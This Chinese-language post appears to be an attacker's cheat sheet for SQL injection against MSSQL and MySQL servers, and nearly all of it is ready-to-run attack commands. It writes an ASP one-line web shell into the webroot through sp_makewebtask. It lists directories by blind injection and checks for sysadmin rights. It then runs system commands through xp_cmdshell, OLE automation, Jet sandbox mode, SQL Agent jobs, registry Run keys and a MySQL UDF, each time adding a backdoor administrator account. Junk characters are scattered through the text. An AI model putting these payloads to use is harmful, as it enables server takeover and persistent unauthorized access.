mssql实用命令及导出一句话

admin

MSSQL语句导出一句话木马
首先确定网站的WEB路径
& W' a0 }9 I/ R2 b;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
( x, Q& L* z! v: [
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
3 }/ B9 C% ^8 H! |//将一句话木马插入表中
# F# D5 i) h  u4 q# g5 J$ O
, N5 J! f: h0 S4 i4 J! F9 g0 L;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
& ^/ y1 R9 A6 r//导出一个ASP文件
. ]; k" \! a. @# m) p& f7 ^

  |% U6 u' i6 u, z4 [9 [3 }关于MSSQL列目录
/ z+ q, O5 v% |# |3 `;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
! [/ P. w0 I$ l# T3 bInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表

) C1 D& j: p; A; x  u& u6 Kand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录

5 Q8 U1 b" Y: E4 I: |1 YAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段

And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符


5 E% P# ^5 r0 X: N数据库版本和权限查看
, G9 n" _2 v% |2 y# i# V- \1 ^and 1=(select @@VERSION) //查看详细的数据库信息.
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
1 g) l/ C* }) r5 Z1 G/ d! V
3 j/ j1 e5 K: ]9 `+ u8 H5 F
' z9 H5 q% E) N! ?5 m1.利用xp_cmdshell执行命令
! M+ u% F; c* J2 R5 _$ m: Cexec master..xp_cmdshell 'net user rfire 123456 /add'
exec master..xp_cmdshell 'net localgroup administrators rfire /add'

0 c6 ^7 y$ L6 M$ {0 ~0 c. z恢复xp_cmdshell存储过程
" s" ?7 g5 A) y. E0 cExec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
  n4 g; t3 Z6 s6 l' l
5 ?# _/ n, |/ u% m) z
* `* D3 c$ e: c4 j3 y$ [- v2.利用SP_OAcreate和SP_OAMETHOD执行命令
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
DECLARE @shell INT //建立一个@shell实体
5 z% P0 i' E; c+ k2 X0 L! pEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例

8 [+ P/ G; L3 K' u( N3 c
3.利用沙盒模式
先利用xp_regwrite（前提是要求xp_regwrite存在）改注册表，然后用OpenRowSet访问系统自身mdb文件，然后执行SQL语句。
开启沙盒模式：
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0
  A3 r3 h* f0 a  `6 I/ l( U* [
执行命令：
+ e6 R, |9 U0 x# i' |5 PSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
4 y( m# G& U# ^. a

4 M9 j* Y3 {9 |4.利用SQL代理执行命令
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
" {( t1 G  A  a6 `
执行命令：
use msdb exec sp_delete_job null,'x' //进入msdb数据库，删除x作业防止出错
exec sp_add_job 'x'
) Q9 c$ F. O: J5 _- kexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
0 d* w0 P' e6 iexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业

% b9 s4 Y& P$ J- h& ^$ r% P" c
- o+ v9 ^3 }/ B4 T4 m) s2 i: [5 o5.利用注册表项执行命令（用xp_regwrite将执行命令写入启动项）
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
! T* N) X1 p- W# u$ u
3 Y* p: n- ^; m5 m
6.MYSQL的命令执行
5 _: e7 p1 U( F: S+ @' @MYSQL的UDF自定义函数提权（要求账号拥有insert和delete权限）
7 m5 l4 l) k) Z) J) ^首先要在su.php下导出c:\windows\udf.dll
导出后执行创建自定义函数命令：
& t0 n6 H* f2 @/ H) P- xCreate Function cmdshell returns string soname 'udf.dll'
+ K9 k: }1 F; W. q8 B执行命令
select cmdshell('net user rfire 123456 /add')
执行后删除函数 drop function cmdshell
+ z4 W2 S1 M5 W4 u